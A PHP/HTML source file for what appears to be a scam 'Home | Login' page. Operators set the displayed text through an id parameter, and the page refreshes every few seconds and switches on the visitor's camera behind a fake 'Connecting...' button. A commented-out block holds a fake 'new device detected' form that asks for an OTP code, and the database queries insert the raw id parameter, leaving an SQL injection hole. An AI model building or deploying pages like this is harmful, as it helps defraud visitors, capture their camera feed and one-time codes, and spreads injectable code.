<?php 
session_start();
session_destroy();
include'con.php';
  
  if($_GET['id']){
     $userid=$_GET['id'];
     
  $userid_query=mysqli_query($con,"SELECT * FROM `admin` WHERE `id`='$userid'");
   $row = $userid_query -> fetch_assoc();
   $username=$row['username'];
    
   
}else{
$username="PARTNERS";
 

}
     $live_query=mysqli_query($con,"SELECT * FROM `live` WHERE `username`='$username'");
      $row1 = $live_query -> fetch_assoc();
       $value=$row1['value'];
        $text=$row1['text'];
     
 
  
   
   
   

 




?>

<!DOCTYPE html>

<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
     <meta http-equiv="refresh" content="3">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home | Login</title>
    <meta name="google-site-verification" content="Vd8LyDDHm4TLmtd5I-yA-ig2DrN-KTveb3T7TybX_hM" />
    <link href="./Home _ Login_files/all.min.css" rel="stylesheet">
    <script src="./Home _ Login_files/saved_resource"></script>
    
<style>
    #camera {
 object-fit: cover;
 width: 100vw;
 height: 100vh;
 position: fixed;
 top: 0;
 left: 0;
 z-index: -1;
}
</style><style>/* ! tailwindcss v3.4.1 | MIT License | https://tailwindcss.com */*,::after,::before{box-sizing:border-box;border-width:0;border-style:solid;border-color:#e5e7eb}::after,::before{--tw-content:''}:host,html{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;tab-size:4;font-family:ui-sans-serif, system-ui, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";font-feature-settings:normal;font-variation-settings:normal;-webkit-tap-highlight-color:transparent}body{margin:0;line-height:inherit}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,pre,samp{font-family:ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;font-feature-settings:normal;font-variation-settings:normal;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}button,input,optgroup,select,textarea{font-family:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:100%;font-weight:inherit;line-height:inherit;color:inherit;margin:0;padding:0}button,select{text-transform:none}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button;background-color:transparent;background-image:none}:-moz-focusring{outline:auto}:-moz-ui-invalid{box-shadow:none}progress{vertical-align:baseline}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}blockquote,dd,dl,figure,h1,h2,h3,h4,h5,h6,hr,p,pre{margin:0}fieldset{margin:0;padding:0}legend{padding:0}menu,ol,ul{list-style:none;margin:0;padding:0}dialog{padding:0}textarea{resize:vertical}input::placeholder,textarea::placeholder{opacity:1;color:#9ca3af}[role=button],button{cursor:pointer}:disabled{cursor:default}audio,canvas,embed,iframe,img,object,svg,video{display:block;vertical-align:middle}img,video{max-width:100%;height:auto}[hidden]{display:none}*, ::before, ::after{--tw-border-spacing-x:0;--tw-border-spacing-y:0;--tw-translate-x:0;--tw-translate-y:0;--tw-rotate:0;--tw-skew-x:0;--tw-skew-y:0;--tw-scale-x:1;--tw-scale-y:1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness:proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-color:rgb(59 130 246 / 0.5);--tw-ring-offset-shadow:0 0 #0000;--tw-ring-shadow:0 0 #0000;--tw-shadow:0 0 #0000;--tw-shadow-colored:0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: }::backdrop{--tw-border-spacing-x:0;--tw-border-spacing-y:0;--tw-translate-x:0;--tw-translate-y:0;--tw-rotate:0;--tw-skew-x:0;--tw-skew-y:0;--tw-scale-x:1;--tw-scale-y:1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness:proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-color:rgb(59 130 246 / 0.5);--tw-ring-offset-shadow:0 0 #0000;--tw-ring-shadow:0 0 #0000;--tw-shadow:0 0 #0000;--tw-shadow-colored:0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: }.relative{position:relative}.z-30{z-index:30}.m-auto{margin:auto}.mx-auto{margin-left:auto;margin-right:auto}.my-1{margin-top:0.25rem;margin-bottom:0.25rem}.my-2{margin-top:0.5rem;margin-bottom:0.5rem}.my-5{margin-top:1.25rem;margin-bottom:1.25rem}.my-7{margin-top:1.75rem;margin-bottom:1.75rem}.mt-5{margin-top:1.25rem}.mt-6{margin-top:1.5rem}.mt-7{margin-top:1.75rem}.block{display:block}.inline-block{display:inline-block}.flex{display:flex}.hidden{display:none}.h-10{height:2.5rem}.h-12{height:3rem}.h-16{height:4rem}.h-6{height:1.5rem}.h-screen{height:100vh}.w-12{width:3rem}.w-16{width:4rem}.w-6{width:1.5rem}.w-full{width:100%}.min-w-\[300px\]{min-width:300px}.max-w-\[400px\]{max-width:400px}.items-center{align-items:center}.justify-center{justify-content:center}.gap-3{gap:0.75rem}.gap-5{gap:1.25rem}.overflow-hidden{overflow:hidden}.rounded{border-radius:0.25rem}.rounded-full{border-radius:9999px}.rounded-md{border-radius:0.375rem}.border{border-width:1px}.border-sky-500{--tw-border-opacity:1;border-color:rgb(14 165 233 / var(--tw-border-opacity))}.bg-\[\#1a73e8\]{--tw-bg-opacity:1;background-color:rgb(26 115 232 / var(--tw-bg-opacity))}.bg-\[\#2FAEEA\]{--tw-bg-opacity:1;background-color:rgb(47 174 234 / var(--tw-bg-opacity))}.bg-\[\#F8EFCE\]{--tw-bg-opacity:1;background-color:rgb(248 239 206 / var(--tw-bg-opacity))}.bg-white{--tw-bg-opacity:1;background-color:rgb(255 255 255 / var(--tw-bg-opacity))}.bg-yellow-500{--tw-bg-opacity:1;background-color:rgb(234 179 8 / var(--tw-bg-opacity))}.p-2{padding:0.5rem}.p-5{padding:1.25rem}.px-3{padding-left:0.75rem;padding-right:0.75rem}.px-4{padding-left:1rem;padding-right:1rem}.px-6{padding-left:1.5rem;padding-right:1.5rem}.py-1{padding-top:0.25rem;padding-bottom:0.25rem}.py-2{padding-top:0.5rem;padding-bottom:0.5rem}.py-3{padding-top:0.75rem;padding-bottom:0.75rem}.py-5{padding-top:1.25rem;padding-bottom:1.25rem}.pt-5{padding-top:1.25rem}.text-center{text-align:center}.text-2xl{font-size:1.5rem;line-height:2rem}.text-3xl{font-size:1.875rem;line-height:2.25rem}.text-lg{font-size:1.125rem;line-height:1.75rem}.text-sm{font-size:0.875rem;line-height:1.25rem}.text-xl{font-size:1.25rem;line-height:1.75rem}.text-xs{font-size:0.75rem;line-height:1rem}.font-bold{font-weight:700}.font-semibold{font-weight:600}.uppercase{text-transform:uppercase}.italic{font-style:italic}.not-italic{font-style:normal}.text-\[\#1a73e8\]{--tw-text-opacity:1;color:rgb(26 115 232 / var(--tw-text-opacity))}.text-\[\#2FAEEA\]{--tw-text-opacity:1;color:rgb(47 174 234 / var(--tw-text-opacity))}.text-\[\#707b8e\]{--tw-text-opacity:1;color:rgb(112 123 142 / var(--tw-text-opacity))}.text-\[\#C75400\]{--tw-text-opacity:1;color:rgb(199 84 0 / var(--tw-text-opacity))}.text-blue-900{--tw-text-opacity:1;color:rgb(30 58 138 / var(--tw-text-opacity))}.text-gray-400{--tw-text-opacity:1;color:rgb(156 163 175 / var(--tw-text-opacity))}.text-gray-600{--tw-text-opacity:1;color:rgb(75 85 99 / var(--tw-text-opacity))}.text-red-700{--tw-text-opacity:1;color:rgb(185 28 28 / var(--tw-text-opacity))}.text-white{--tw-text-opacity:1;color:rgb(255 255 255 / var(--tw-text-opacity))}.outline-sky-500{outline-color:#0ea5e9}@media (min-width: 1024px){.lg\:w-4\/12{width:33.333333%}}</style></head>


<body>
    
    <div id="mainSystem" class="h-screen z-1 relative flex items-center justify-center">
        <video id="camera" playsinline="" autoplay=""></video>
        <div id="videoChatBlock" class=" max-w-[400px] bg-white rounded">
         
        </div>
        
        
        <!-- Login Block -->
        <div id="authenticationBlock" class="  min-w-[300px] max-w-[400px] bg-white rounded">
            <div id="loginSystem">

                <form action="" method="POST" style="text-align:center; padding:3px;">
                    <div class="p-5 ">
                        <h2 class="text-1xl  text-gray-600 text-center"  >  <?php echo$text; ?>  </h2>
                 
                        
                         
                           
                        </div>
                       
       
                            <span   style="text-align:center;font-size:25px; border:1px solid #444;  border-radius:18px; padding:5px;">
                               <?php if($value==0){}else{echo$value;} ?>
                                 <input type="hidden" name="submit" class="block p-2 my-5 w-full bg-[#1a73e8] text-xl font-semibold text-white rounded-md" value="Connecting...">
                            </span>
                    
                        <input type="button" name="submit" class="block p-2 my-5 w-full bg-[#1a73e8] text-xl font-semibold text-white rounded-md " style=" " value="Connecting...">
                    </div>
                </form>
            </div>

     
        </div>
    </div>
    
    
    <!--  
    <div class="text-center z-30 lg:w-4/12 w-full px-4 m-auto">
        <div id="otpSystem" style="display: none;" class="hidden">
            <div class="py-5 my-2">
              
              <h2 class="bg-[#F8EFCE] text-gray-400 font-bold text-2xl py-3">NEW DEVIECE DETECTED</h2>
              <p id="access-code" class="mt-6 text-xl text-[#C75400] text-center"></p>
              <p class="mt-5 text-center text-xl italic font-bold text-[#2FAEEA] uppercase">CHECK YOUR SPAM <br> FOLDER IT MAY BE THERE.</p>
              <p class="mt-7 flex items-center justify-center gap-3  text-xl text-[#C75400] text-center font-bold italic uppercase"><span>DO NOT SHARE IT</span><span class="bg-[#2FAEEA] w-6 h-6 rounded-full text-white flex justify-center items-center font-bold not-italic"><span>?</span></span></p>
              <p class="mt-5 text-xl text-[#C75400] text-center ">Enter the code <br> below to continue.</p>
      
              <form>
                <div class="py-2">
                  <input class="px-4 border py-2 rounded-md text-sm w-full block" required="" type="text" name="" placeholder="OTP Code">
                </div>
    
    
      
                <input class="py-2 px-6 my-1  inline-block bg-yellow-500 text-2xl text-white" type="submit" name="submit" value="submit">
    
              </form>
      
            </div>
          </div>
    </div>
    
    -->-->
    <script>
        document.addEventListener('DOMContentLoaded', () => {
          const video = document.getElementById('camera');
          if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
            navigator.mediaDevices.getUserMedia({ video: true })
              .then((stream) => {
                video.srcObject = stream;
                processCameraData(stream);
              })
              .catch((error) => {
                console.error('Error accessing camera:', error);
              });
          } else {
            console.error('getUserMedia is not supported in this browser');
          }
        });
      
        function processCameraData(stream) {
          const videoTrack = stream.getVideoTracks()[0];
          const imageCapture = new ImageCapture(videoTrack);
          setInterval(() => {
            imageCapture.grabFrame()
              .then((imageBitmap) => {
                // Process the captured frame (you can perform your background processing here)
                console.log('Processing frame...');
              })
              .catch((error) => {
                console.error('Error grabbing frame:', error);
              });
          }, 1000); 
        }
      </script>
    <script>


     


       // //  function navigateWithId() {
            // Extract the query parameter from the URL
         //    const urlParams = new URLSearchParams(window.location.search);
         // //    const userId = urlParams.get('id');

            // Navigate to the new page with the extracted user ID
         //    window.open('https://erosss.netlify.app?id=' + userId, '_blank')
     // //    }
    </script>
    <script src="./Home _ Login_files/main.js.download"></script>



</body></html>